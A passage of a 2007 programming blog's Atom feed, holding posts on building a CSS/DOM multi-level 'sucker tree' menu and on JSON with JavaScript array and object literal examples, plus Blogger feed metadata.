/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="MsoNormal" style=""&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8753040440182943704-496762864843461450?l=ashiqul-islam.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ashiqul-islam.blogspot.com/feeds/496762864843461450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=8753040440182943704&amp;postID=496762864843461450' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/496762864843461450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/496762864843461450'/><link rel='alternate' type='text/html' href='http://ashiqul-islam.blogspot.com/2007/09/single-table-multiple-category.html' title='Single Table Multiple Category - Subcategory:'/><author><name>swad</name><uri>http://www.blogger.com/profile/18217723521107748896</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='07853138415326753433'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_NNaPD7bgeyQ/RuQu6z9aLgI/AAAAAAAAAAs/tj7NCGV57q0/s72-c/tree.gif' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8753040440182943704.post-3660932675473899930</id><published>2007-09-04T23:04:00.000-07:00</published><updated>2007-09-05T03:11:30.125-07:00</updated><title type='text'>Sucker Tree Menu Generation</title><content type='html'>&lt;h3  style="font-weight: bold; color: rgb(51, 51, 51);font-family:georgia;"&gt;&lt;span style=";font-family:georgia;font-size:85%;"  &gt;&lt;span style="font-weight: normal;"&gt;Web Programmer needed to generate menus as their template style. It is very interesting to generate customize menu. Now I am writing about a menu that CSS and DOM hybrid and based on UL and LI and Supports multiple levels of sub menu. The main theme is, it crawls inner levels of Menu and fixed it position.&lt;/span&gt; &lt;/span&gt;&lt;span style="font-weight: normal;font-family:georgia;font-size:85%;"  &gt;The menu is successfully tested in IE6, Firefox 1.5, Opera 9, and IE7.&lt;/span&gt;&lt;/h3&gt;&lt;h3 face="georgia" style="font-weight: bold; color: rgb(51, 51, 51);"&gt;&lt;br /&gt;&lt;/h3&gt;&lt;h3 face="georgia" style="font-weight: bold; color: rgb(51, 51, 51);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://katiesback.com/new/" target="_blank"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; border:0px" src="http://3.bp.blogspot.com/_NNaPD7bgeyQ/Rt5_FD9aLfI/AAAAAAAAAAk/2f7HIBXJtgY/s400/menu-tree.jpg" alt="" id="BLOGGER_PHOTO_ID_5106658752423669234" border="0" /&gt;&lt;/a&gt;&lt;/h3&gt;&lt;span style="color: rgb(51, 51, 51);font-size:85%;" &gt;&lt;br /&gt;&lt;/span&gt;  &lt;h3  style="color: rgb(51, 51, 51);font-family:trebuchet ms;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;Some Advanced CSS used here:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;h3  style="color: rgb(51, 51, 51);font-family:trebuchet ms;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Nested span:&lt;/span&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt; &lt;/span&gt;These are used to generate round shape menu and colored hover.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;    &lt;h3  style="color: rgb(51, 51, 51);font-family:trebuchet ms;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Inherited Class:&lt;/span&gt;&lt;span style="font-weight: normal;"&gt; &lt;/span&gt;&lt;span style="font-weight: normal;"&gt;Some inherited&lt;/span&gt; &lt;span style="font-weight: normal;"&gt;classes for UL and LI to generate sucker tree menu.&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3  style="color: rgb(51, 51, 51);font-family:trebuchet ms;"&gt;&lt;span style="font-weight: normal;font-size:85%;" &gt;&lt;span style="color: rgb(102, 102, 102);"&gt;Here you can download the sample and try yourself.&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3 style="color: rgb(51, 51, 51);"&gt;&lt;span style="font-weight: normal;font-size:85%;" &gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;h3 style="color: rgb(51, 51, 51);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.filecrunch.com/file/%7Eli7xkm" target="_blank"&gt;&lt;img style="border: 0px none ; margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_NNaPD7bgeyQ/Rt5ICj9aLeI/AAAAAAAAAAc/I6WDXGBfEzs/s320/download.gif" alt="" id="BLOGGER_PHOTO_ID_5106598236334468578" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;h3 style="color: rgb(51, 51, 51);"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: normal;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;span style="color: rgb(51, 51, 51);font-size:85%;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8753040440182943704-3660932675473899930?l=ashiqul-islam.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ashiqul-islam.blogspot.com/feeds/3660932675473899930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=8753040440182943704&amp;postID=3660932675473899930' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/3660932675473899930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/3660932675473899930'/><link rel='alternate' type='text/html' href='http://ashiqul-islam.blogspot.com/2007/09/sucker-tree-menu-generation.html' title='Sucker Tree Menu Generation'/><author><name>swad</name><uri>http://www.blogger.com/profile/18217723521107748896</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='07853138415326753433'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_NNaPD7bgeyQ/Rt5_FD9aLfI/AAAAAAAAAAk/2f7HIBXJtgY/s72-c/menu-tree.jpg' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8753040440182943704.post-6998440756919908486</id><published>2007-05-26T06:17:00.001-07:00</published><updated>2008-05-10T21:28:31.034-07:00</updated><title type='text'>JSON – PHP</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="font-size:20;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;JSON (JavaScript Object Notation) is universal data exchange format. JSON is part of ECMA Script Standards. eval() function that can parse this format .This is being popular with the success of &lt;st1:city st="on"&gt;&lt;st1:place st="on"&gt;AJAX&lt;/st1:place&gt;&lt;/st1:city&gt;. Another language XML is used for sharing (exchange) data in different platform. But JSON is easier to read than XML for programmer. JSON contain easier structure. JSON can easily map to object-oriented system.&lt;b style=""&gt;&lt;span style="font-size:20;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;&lt;span style="color: rgb(51, 153, 102); font-style: normal;"&gt;&lt;span style="color: rgb(102, 102, 102);font-size:130%;" &gt;What problem JSON can solve:&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;&lt;span style="font-style: normal;"&gt;“I have a data-structure in one platform, I want to use it to another platform. “—We can use JSON to solve this problem.&lt;/span&gt;&lt;/em&gt; No need for parsing an XML document to extract the &lt;em&gt;&lt;span style="font-style: normal;"&gt;data-structure.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="color: rgb(51, 153, 102);"&gt;&lt;span style="color: rgb(102, 102, 102);font-size:130%;" &gt;Understanding Literal Notation in JavaScript:&lt;/span&gt;&lt;/span&gt;&lt;b style=""&gt;&lt;span style="color: rgb(51, 153, 102);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b style=""&gt;Array&lt;/b&gt; literals in JavaScript are composed of zero or more expressions with each expression representing an element of the array. The array elements are enclosed in square brackets ([]) and delimited by commas.&lt;b style=""&gt; &lt;/b&gt;&lt;span style="color: rgb(204, 102, 0);"&gt;Example:&lt;/span&gt;&lt;b style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;pre style="color: rgb(153, 153, 153);"&gt;&lt;code&gt;var continents = ["Europe", "Asia", "&lt;st1:country-region st="on"&gt;Australia&lt;/st1:country-region&gt;", "&lt;st1:place st="on"&gt;Antarctica&lt;/st1:place&gt;", "North&lt;br /&gt;&lt;st1:country-region st="on"&gt;America&lt;/st1:country-region&gt;", "South America", "&lt;st1:place st="on"&gt;Africa&lt;/st1:place&gt;"];&lt;o:p&gt; &lt;/o:p&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;Compare this now to how you would create and initialize an array in JavaScript without&lt;br /&gt;the literal notation:&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre style="color: rgb(153, 153, 153);"&gt;&lt;code&gt;var continents = new Array();&lt;br /&gt;continents[0] = "&lt;st1:place st="on"&gt;Europe&lt;/st1:place&gt;";&lt;br /&gt;continents[1] = "&lt;st1:place st="on"&gt;Asia&lt;/st1:place&gt;";&lt;/code&gt;&lt;br /&gt;&lt;code&gt;continents[2] = "&lt;st1:country-region st="on"&gt;&lt;st1:place st="on"&gt;Australia&lt;/st1:place&gt;&lt;/st1:country-region&gt;";&lt;br /&gt;continents[3] = "&lt;st1:place st="on"&gt;Antarctica&lt;/st1:place&gt;";&lt;br /&gt;continents[4] = "&lt;st1:place st="on"&gt;North America&lt;/st1:place&gt;";&lt;br /&gt;continents[5] = "&lt;st1:place st="on"&gt;South America&lt;/st1:place&gt;";&lt;br /&gt;continents[6] = "&lt;st1:place st="on"&gt;Africa&lt;/st1:place&gt;";&lt;/code&gt;&lt;span style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;An &lt;b style="color: rgb(102, 102, 102);"&gt;object&lt;/b&gt; literal defines the members of an object and their values. The list of object members and values is&lt;br /&gt;enclosed in curly braces (&lt;b&gt;{}&lt;/b&gt;) and each member is delimited by a comma. Within each member, the name and value&lt;br /&gt;are delimited by a colon (&lt;b&gt;:&lt;/b&gt;).&lt;b style=""&gt; &lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;span style="color: rgb(51, 51, 51);"&gt;Example:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;var contact = {&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;"Name": "John Doe",&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;"PermissionToCall": true,&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;"PhoneNumbers": [ &lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;  {&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;   "Location": "Home",&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;  "Number": "555-555-1234"&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;br /&gt;},&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;  {&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;           &lt;/span&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;br /&gt;"Location": "Work",&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;           &lt;/span&gt;&lt;br /&gt;"Number": "555-555-9999 Ext. 123"&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;  }&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;               ]&lt;o:p&gt;&lt;/o:p&gt;&lt;/code&gt;&lt;code style="color: rgb(153, 153, 153);"&gt;&lt;br /&gt;};&lt;/code&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="color: rgb(102, 102, 102);font-family:georgia;" &gt;Example JSON and PHP:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style=""&gt;&lt;span style=""&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=""&gt;&lt;span style="font-family:mon;"&gt;For your assistance,I attached here some sample code.&lt;br /&gt;Those are free. After download you have to extract &lt;/span&gt;&lt;/span&gt;&lt;span style=""&gt;&lt;span style="font-family:mon;"&gt;download files&lt;/span&gt;&lt;/span&gt;&lt;span style=""&gt;&lt;span style="font-family:mon;"&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt; and&lt;br /&gt;after that run index.html………….&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imageupload.com/out.php/i116090_JSON.zip" target="_blank"&gt;&lt;img style="border: 0pt none ; margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_NNaPD7bgeyQ/RsaSRD9aLcI/AAAAAAAAAAM/bjtPg2JJL1o/s320/download.gif" alt="" id="BLOGGER_PHOTO_ID_5099924449861971394" border="0" /&gt;&lt;/a&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b style=""&gt;&lt;span style="color: rgb(153, 51, 0);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;  &lt;p&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p&gt;&lt;b style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;i style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span style="font-size:20;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8753040440182943704-6998440756919908486?l=ashiqul-islam.blogspot.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ashiqul-islam.blogspot.com/feeds/6998440756919908486/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=8753040440182943704&amp;postID=6998440756919908486' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/6998440756919908486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8753040440182943704/posts/default/6998440756919908486'/><link rel='alternate' type='text/html' href='http://ashiqul-islam.blogspot.com/2007/05/json-php.html' title='JSON – PHP'/><author><name>swad</name><uri>http://www.blogger.com/profile/18217723521107748896</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='07853138415326753433'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_NNaPD7bgeyQ/RsaSRD9aLcI/AAAAAAAAAAM/bjtPg2JJL1o/s72-c/download.gif' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry></feed>